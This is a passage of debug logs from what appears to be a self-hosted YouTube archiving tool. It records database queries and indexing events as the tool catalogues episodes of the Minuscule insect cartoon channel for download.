s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:16.793 [debug] QUERY OK source="sources" db=0.3ms idle=621.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:16.794 [debug] QUERY OK source="media_items" db=1.0ms idle=622.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-08-30 14:14:11Z], 5] 22:15:16.799 [debug] QUERY OK source="media_items" db=3.0ms idle=624.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Go blue go! / Allez les bleus! (Season 2)", "7e75e8b0-2902-4e39-be69-975ca25b3c46", "5Yx-ZghdZJ0", 290, false, 5, "https://www.youtube.com/watch?v=5Yx-ZghdZJ0", 169, "/downloads/Miniscule Season 2/2016-08-30 Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2)/Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2) [5Yx-ZghdZJ0].mp4", false, false, false, [], 1, ~U[2016-08-30 14:14:11Z], ~U[2025-12-12 05:15:16Z], ~U[2025-12-12 05:15:16Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Go blue go! / Allez les bleus! (Season 2)", "5Yx-ZghdZJ0", 290, false, 5, "https://www.youtube.com/watch?v=5Yx-ZghdZJ0", "/downloads/Miniscule Season 2/2016-08-30 Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2)/Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2) [5Yx-ZghdZJ0].mp4", false, ~U[2016-08-30 14:14:11Z]] 22:15:16.800 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=235.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:16.800 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:16.801 [debug] QUERY OK source="media_items" db=0.4ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89208] 22:15:16.801 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #a6XI8lORtcc/youtube video #a6XI8lORtcc [a6XI8lORtcc].NA", "id" => "a6XI8lORtcc", "original_url" => "https://www.youtube.com/watch?v=a6XI8lORtcc", "playlist_index" => 170, "title" => "youtube video #a6XI8lORtcc"} 22:15:16.802 [debug] QUERY OK source="sources" db=0.5ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:16.803 [debug] Current batch of media processed. Will check again in 1000ms 22:15:17.804 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #2sP84veGlak/youtube video #2sP84veGlak [2sP84veGlak].NA", "id" => "2sP84veGlak", "original_url" => "https://www.youtube.com/watch?v=2sP84veGlak", "playlist_index" => 171, "title" => "youtube video #2sP84veGlak"} 22:15:17.805 [debug] QUERY OK source="sources" db=0.3ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:17.805 [debug] Current batch of media processed. Will check again in 1000ms 22:15:18.806 [debug] Current batch of media processed. Will check again in 1000ms 22:15:18.850 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:19.807 [debug] Current batch of media processed. Will check again in 1000ms 22:15:20.808 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 759, "filename" => "/downloads/Miniscule Season 2/2016-08-19 Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2)/Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2) [PK2A3ZK5ys0].mkv", "id" => "PK2A3ZK5ys0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=PK2A3ZK5ys0", "playlist_index" => 172, "timestamp" => 1471597114, "title" => "Minuscule - Romeo & Antiet / Roméo & fourmi (Season 2)", "upload_date" => "20160819"} 22:15:20.809 [debug] QUERY OK source="sources" db=0.3ms idle=637.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:20.810 [debug] QUERY OK source="sources" db=0.3ms idle=638.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:20.811 [debug] QUERY OK source="media_items" db=0.9ms idle=639.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-08-19 08:58:34Z], 5] 22:15:20.815 [debug] QUERY OK source="media_items" db=3.1ms idle=640.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Romeo & Antiet / Roméo & fourmi (Season 2)", "37ac36ad-58b7-43a4-9dbc-6261e0cbd887", "PK2A3ZK5ys0", 759, false, 5, "https://www.youtube.com/watch?v=PK2A3ZK5ys0", 172, "/downloads/Miniscule Season 2/2016-08-19 Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2)/Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2) [PK2A3ZK5ys0].mkv", false, false, false, [], 1, ~U[2016-08-19 08:58:34Z], ~U[2025-12-12 05:15:20Z], ~U[2025-12-12 05:15:20Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Romeo & Antiet / Roméo & fourmi (Season 2)", "PK2A3ZK5ys0", 759, false, 5, "https://www.youtube.com/watch?v=PK2A3ZK5ys0", "/downloads/Miniscule Season 2/2016-08-19 Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2)/Minuscule - Romeo & Antiet ⧸ Roméo & fourmi (Season 2) [PK2A3ZK5ys0].mkv", false, ~U[2016-08-19 08:58:34Z]] 22:15:20.816 [debug] QUERY OK source="sources" db=0.4ms idle=243.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:20.817 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:20.818 [debug] QUERY OK source="media_items" db=0.4ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89209] 22:15:20.818 [debug] Current batch of media processed. Will check again in 1000ms 22:15:21.819 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #Q22J16yA_tg/youtube video #Q22J16yA_tg [Q22J16yA_tg].NA", "id" => "Q22J16yA_tg", "original_url" => "https://www.youtube.com/watch?v=Q22J16yA_tg", "playlist_index" => 173, "title" => "youtube video #Q22J16yA_tg"} 22:15:21.820 [debug] QUERY OK source="sources" db=0.4ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:21.820 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #hDipBO_m9Vw/youtube video #hDipBO_m9Vw [hDipBO_m9Vw].NA", "id" => "hDipBO_m9Vw", "original_url" => "https://www.youtube.com/watch?v=hDipBO_m9Vw", "playlist_index" => 174, "title" => "youtube video #hDipBO_m9Vw"} 22:15:21.821 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:21.821 [debug] Current batch of media processed. Will check again in 1000ms 22:15:22.822 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #g1qro1_I2mQ/youtube video #g1qro1_I2mQ [g1qro1_I2mQ].NA", "id" => "g1qro1_I2mQ", "original_url" => "https://www.youtube.com/watch?v=g1qro1_I2mQ", "playlist_index" => 175, "title" => "youtube video #g1qro1_I2mQ"} 22:15:22.823 [debug] QUERY OK source="sources" db=0.5ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:22.823 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #vgU3oFwUG_A/youtube video #vgU3oFwUG_A [vgU3oFwUG_A].NA", "id" => "vgU3oFwUG_A", "original_url" => "https://www.youtube.com/watch?v=vgU3oFwUG_A", "playlist_index" => 176, "title" => "youtube video #vgU3oFwUG_A"} 22:15:22.824 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:22.825 [debug] Current batch of media processed. Will check again in 1000ms 22:15:23.826 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #vIVNjZKoMSc/youtube video #vIVNjZKoMSc [vIVNjZKoMSc].NA", "id" => "vIVNjZKoMSc", "original_url" => "https://www.youtube.com/watch?v=vIVNjZKoMSc", "playlist_index" => 177, "title" => "youtube video 